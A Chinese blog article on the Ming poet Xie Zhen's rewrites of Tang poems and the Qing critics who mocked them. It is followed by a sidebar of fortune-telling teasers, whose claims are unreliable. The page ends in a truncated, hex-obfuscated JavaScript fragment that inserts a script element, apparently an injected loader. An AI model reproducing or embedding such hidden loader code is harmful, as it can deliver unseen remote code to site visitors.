首页 / 老街味道 / 明朝谢榛喜欢改唐诗,被嘲讽丑女教美女化妆,他改得怎么样?

明朝谢榛喜欢改唐诗,被嘲讽丑女教美女化妆,他改得怎么样?

老街味道 2021-12-07 01:30

前言

前一段时间读明朝大诗人谢榛的《四溟诗话》,发现他很喜欢给前人改诗,例如刘禹锡、宋之问、白居易。

后来读到清朝人何文焕的《历代诗话索考》、贺裳《载酒园诗话》,发现这二老对于谢榛毫不客气,痛批了一顿。

谢榛改诗改得怎么样呢?何文焕、贺裳批评的有没有道理呢?

一、何文焕笑话谢榛黄金换废铁

谢榛在《四溟诗话》中,对刘禹锡的《乌衣巷》先动了一刀:

刘禹锡《怀古》诗曰:“旧时王谢堂前燕,飞入寻常百姓家。”或易之曰:“王谢堂前燕,今飞百姓家。”此作不伤气格。予拟之曰:“王谢豪华春草里,堂前燕子落谁家?”此非奇语,只是讲得不细。

对于这个改动,何文焕在《历代诗话索考》中很不以为然:

刘禹锡诗曰:「旧时王谢堂前燕,飞入寻常百姓家。」妙处全在「旧」字及「寻常」字。四溟云:「或有易之者曰:『王谢堂前燕,今飞百姓家。』点金成铁矣。」谢公又拟之曰:「王谢豪华春草里,堂前燕子落谁家?」尤属恶劣。《历代诗话索考》

何文焕认为,原来的七言句改为五言“王谢堂前燕,今飞百姓家”,已经把黄金换成废铁了。至于谢榛自己改得这两句七言“王谢豪华春草里,堂前燕子落谁家”,何文焕的评价更是深恶痛绝:尤属恶劣。

至于为什么“恶劣”,何文焕没有讲。但是贺裳《载酒园诗话》中有所评价。

二、贺裳嘲讽谢榛是登徒子丑妻

谢榛提到作诗有三种等级的语言:

作诗有三等语:堂上语,堂下语,阶下语。知此三者,可以言诗矣。凡上官临下官,动有昂然气象,开口自别。若李太白“黄鹤楼中吹玉笛,江城五月落梅花”,此堂上语也。凡下官见上官,所言殊有条理,不免局促之状。

若刘禹锡“旧时王谢堂前燕,飞入寻常百姓家”,此堂下语也。

谢榛评价刘禹锡的《乌衣巷》是堂下语。

贺裳《载酒园诗话》中,注意到了谢榛的这段话,并进行了语言上的攻击:

(谢榛)若刘禹锡‘旧时王谢堂前燕,飞入寻常百姓家’,此堂下语也。”因改为“王谢豪华春草里,堂前燕子落谁家?”

(贺裳评价)呜呼!此何异登徒之妇,为东家子施朱粉耶!《载酒园诗话》

战国时楚国宋玉所写的《登徒子好色赋》中,登徒子的妻子长得很丑陋,东邻女子美如天仙。 贺裳说谢榛这个丑女竟然要教女神打扮,真是不知好歹。

三、黄白山评价谢榛与贺裳

后人刻印贺裳《载酒园诗话》时,将黄白山的评价也一并收录。关于贺裳批评谢榛的这一段话,黄白山却认为有失偏颇,他以为谢榛改得不好,原因不在于此:

(黄白山评):“刘意本谓王侯第宅变为百姓人家,而语致深婉如此。谢改云云,全失其妙。贺又两皆抹杀,何唐人之不幸如此!”)

黄白山说,刘禹锡本意是旧日权贵的豪宅,成了百姓之家,婉转道出兴亡变化。而谢榛的改动,就失去了刘禹锡原诗的妙处。

至于贺裳的评价不但过于粗俗,而且并没有将两者的区别解释明白。

四、王谢豪华春草里,堂前燕子落谁家?

其实,从谢榛的《四溟诗话》中,老街看出谢榛并非把刘禹锡的《乌衣巷》改了,而是将后两句化用而已,至于谢榛这首诗的前两句是什么,就不得而知了。

为什么说,谢榛不太可能只改了这两句诗呢?把原诗前两句和谢榛后两句放在一起就明白了:

朱雀桥边野草花,乌衣巷口夕阳斜。

王谢豪华春草里,堂前燕子落谁家?

第一句有野草,第三句不可能再写春草。由此可知,谢榛所谓的改动,其实是在自己的诗句中,化用了刘禹锡的这两句诗而已。

五、谢榛还改了谁的诗

关于刘禹锡的《乌衣巷》暂且放下。其实谢榛还真得把唐人的整首诗进行了改动,例如戴叔伦《除夜宿石头驿》,原诗为:

旅馆谁相问?寒灯独可亲。一年将尽夜,万里未归人。

寥落悲前事,支离笑此身。愁颜与衰鬓,明日又逢春。

这首诗是戴叔伦的代表作,但是谢榛并不迷信古人,而是提出了自己的见解:

“观此体轻气薄如叶子金,非锭子金也。凡五言律,两联若纲目四条,辞不必详,意不必贯,此皆上句生下句之意,八句意相联属,中无罅隙,何以含蓄?颔联虽曲尽旅况,然两句一意,合则味长,离则味短。晚唐人多此句法”

于是,谢榛将这首诗改成了这样:

灯火石头驿,风烟扬子津。一年将尽夜,万里未归人。

萍梗南浮越,功名西向秦。明朝对清镜,衰鬓又逢春。”

白居易有《昭君》诗曰:

汉使却回恁寄语,黄金何日赎蛾眉?君王若问妾颜色,莫道不如宫里时。

谢榛说:“此虽不忘君,而词意两拙。”于是他把白居易这首诗改为:

使者南归重妾思,黄金何日赎蛾眉?汉家天子如相问,莫道不如宫里时。”

岑参有诗《初至犍为作》曰:

山色轩楹内,滩声枕席间。草生公府静,花落讼庭闲。

云雨连三峡,风尘接百蛮。到来能几日,不觉鬓毛斑。”

谢榛改为:

之官能几日,两鬓易成斑。云雨低三峡,风尘暗百蛮。

鸟啼公府静,花落讼庭闲。独夜饶诗思,滩声枕席间”。

结束语

谢榛(1495~1575)字茂秦,布衣终身,号四溟山人、脱屣山人,山东临清人。曾经挟诗卷游京师,与李攀龙、王世贞等结诗社,为"后七子"之一,但是后来为李攀龙交恶,被削名"七子"之外。

以上提到的改诗,大多在其《四溟诗话》中提到过。自古文人相轻,而且厚古薄今,所以作为读者,不妨把贺裳与何文焕的嘲讽先放到一边,细细品味一下谢榛修改过的诗怎么样?

您觉得好还是不好呢?

@老街味道

这个宋朝人说,作集句诗好比穷人强学富豪,寒酸之气去不掉

猜你喜欢

  • 目录:1、和尚说我姻缘线断了什么意思2、人家看手相的说我的婚姻线已经动啦是什么意思啊求解谢谢3、感情线断开是怎么回事?4、如何看婚姻线:婚姻线断开一上一下?5、姻缘线断了是什么意思,婚姻线三条什么意思和尚说我姻缘线断了什么意思姻缘线被切断了说明不是姻缘线,是..

    八字2024-03-29
  • 目录:1、男马女猴婚配属相,男属马女属猴婚配如何2、属相婚配表男属马女属猴,男属马女属猴,在一起生肖五行相克不?_百度...3、男马女猴婚姻是否相配男马女猴婚配属相,男属马女属猴婚配如何1、男马女猴十二生肖配对结果:你们是对外所向披靡,相处时却容易产生摩擦的一对..

    八字2024-03-29
  • 目录:1、八字火太旺是忌水还是喜水2、生辰八字火多代表什么3、八字火多的女人命运会怎样?4、八字五行火过旺有什么影响?警惕怒气伤身,易患肺部疾病!5、五行火多的人怎么样?脾气火爆吗6、八字火太旺八字火太旺是忌水还是喜水火旺的八字,若八字中无滴水,就要忌水。丁火..

    八字2024-03-29
  • 目录:1、如果给你算命拆八字,你认为收多少钱合适呢?2、请高手帮忙拆八字3、拆八字郡是什么意思如果给你算命拆八字,你认为收多少钱合适呢?1、所谓“合适”,就是算命与命主双方都认可的数目。至于“多少”这个一般师门有规定的,照章收费就行。2、一般在线专业算卦算命..

    八字2024-03-29
  • 目录:1、男生戴红绳的含义2、男人求姻缘佩戴什么样的玉3、男人佩戴什么可以招桃花4、男生手上带红绳什么意思?5、单身的男孩子左手带个手链算什么?男生戴红绳的含义1、爱情的象征:一般一对恋人会戴一样的,男左女右,就像是信物一样!叫做“lovelace”爱之链,代表永远..

    八字2024-03-29
  • 目录:1、86年属虎的婚姻与命运如何2、1986年属虎的一生婚姻,1986年农历6月16属虎女婚姻和命运怎样3、86年虎女一生婚姻状况4、86年属虎后半生婚姻,1986年属虎的人婚姻5、属虎人爱情婚姻运势,86年属虎男有几段婚姻6、1986年属虎的一生婚姻,属虎婚姻运解析?86年属虎的婚姻..

    八字2024-03-29
  • 目录:1、本命年和本历年有啥不同?它们的概念分别是?2、什么叫做本命年?本命年又是什么?3、本命年多少岁4、本历年与本命年有什么区别5、什么叫本命年6、本年和本命年怎么算本命年和本历年有啥不同?它们的概念分别是?1、本历年即本命年,是十二年—遇的农历属相所在的年..

    本命年2024-03-29
  • 目录:1、最精准姓名配对爱情配对2、爱情姓名配对3、情侣名字配对指数如何推算姓名拼音首字母对应数字相加4、姓名恋爱配对,男女姓名星座缘分配对5、夫妻姓名配对测试看你们关系如何最精准姓名配对爱情配对姓名拼音推算配对指数数字和字母对应姓名配对婚姻对照表,1,2,..

    姓名配对2024-03-29
  • 目录:1、60岁属牛的人本命年为什么不能过生日?2、牛年本命年可以过生日吗?3、本命年为什么不能过生日60岁属牛的人本命年为什么不能过生日?因为60岁是本命年,本命年各方面运势都很低迷,会遇到很多不好的事情,甚至还会遇到一些突发性的情况,给属牛人带来很大的伤害。..

    本命年2024-03-29
  • 目录:1、姓名配对两人爱情结果两个人名字的笔画相加后2、情侣姓名笔画看你们的缘分3、姓名姻缘测试的方法有几种?又都各自代表了什么样的含义呢?4、姓名配对缘分测试,从名字笔画看两人姻缘?5、男女姓名配对测试婚姻,男女名字笔画测缘分?姓名配对两人爱情结果两个人名字..

    姓名配对2024-03-29
  • 目录:1、女生本命年结婚好吗2、本命年结婚为什么不好?3、本命年不宜结婚吗?4、本命年为什么不能结婚5、本命年结婚怎么样6、本命年结婚好还是不好,有什么讲究女生本命年结婚好吗女人本命年结婚好吗 在我国有一种传统,就是本命年的人结婚不太好,对一个人的身体健康以及..

    本命年2024-03-29
  • 目录:1、excel如何根据姓名匹配身份证号码2、Excel如何姓名自动匹配班级3、怎样用excel根据姓氏匹配工号?excel如何根据姓名匹配身份证号码1、使用INDEX/MATCH函数进行姓名与身份证号码的匹配,具体步骤如下:步骤1:在Excel表格中,将姓名列和身份证号码列分别命名为“..

    姓名配对2024-03-29
  • 目录:1、一生好运富贵的女孩小名,女孩名字里较大富大贵的字2、好听寓意好的小名3、女性好听又聚财的小名,好运气招财的女孩名字4、又顺利又有财气的小名,搜一个很好听,好霸气,很有财气而且很吉祥的名字...5、旺财的小名女一生好运富贵的女孩小名,女孩名字里较大富大贵的..

    财运2024-03-29
  • 目录:1、如何匹配2张excel中的名字2、怎么在表格里匹配同学的名字?3、excel表中怎么把两列姓名对应起来,比如王明和张华。4、两张表匹配相同名字的数据5、学生姓名与电子表格中的成绩如何匹配呢?如何匹配2张excel中的名字首先姓名配对电子表格,打开电脑姓名配对电子表..

    姓名配对2024-03-29
  • 目录:1、女人哪种脚型是富贵命超准测试2、准到不可思议!从脚相看女人的大富大贵3、从脚来看你的命运吉凶?女人哪种脚型是富贵命超准测试1、女人天生富贵的脚型埃及脚—富贵命女人有这种脚,天生脑子灵活,善于分析局势,最适合做领导性的工作,这种女人天生福气深厚,不..

    财运2024-03-29
  • 目录:1、免费测婚配八字网,求一个能够免费测八字合婚的网站?2、在线测姻缘免费测试,有免费测试缘分爱情指数的网站吗3、免费测你和他的缘分,有免费测试缘分爱情指数的网站吗4、男女姓名测试爱情缘分,怎么测试姓名缘分?5、免费姻缘八字配对,免费八字合婚网,生日爱情缘6、..

    姓名配对2024-03-29
  • 目录:1、婚姻配对免费测试姓名,名字配对姻缘,姓名姻缘配对测试2、名字婚配免费测试最准,免费姓名配对测试3、免费合婚姻最准的网站,免费合八字算婚姻网4、男女姓名匹配,姓名配对免费测姻缘5、姓名配对最准的免费网站,姓名配对哪一个网站更准啊?你试过吗?_百度知...婚姻..

    财运2024-03-29
  • 目录:1、姓名测试我和他的结局,姓名姻缘配对测试2、姓名配对测姻缘名字配对姻缘,姓名姻缘配对测3、非常运势网姓名测试打分,姓名测试打分生辰八字准吗4、姓名测试姻缘分长久,最准的姓名配对?姓名测试我和他的结局,姓名姻缘配对测试永远在一起。24岁终身监禁25恨你又爱你..

    姓名配对2024-03-29
  • 目录:1、天蝎座男和什么星座最配-注定爱上的星座2、天蝎座的最佳配对表3、星座婚配表大全天蝎座,十二星座配对表4、天蝎座男生的最佳配对5、十二星座名字配6、天蝎座男生配对星座表,揭秘天蝎男配对什么星座女?天蝎座男和什么星座最配-注定爱上的星座和天蝎男最配的星座..

    姓名配对2024-03-29
  • 目录:1、五爷庙求财许愿说什么2、增加偏财运该拜哪个菩萨3、偏财运是什么意思4、石榴木的人带什么菩萨偏财运5、问大年初四给观音菩萨和财神烧香出现长生香是什么意思有没有偏财运五爷庙求财许愿说什么许愿说词:弟子(信女)姓名、出生日期、家中地址,今日焚香并准备..

    财运2024-03-29
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();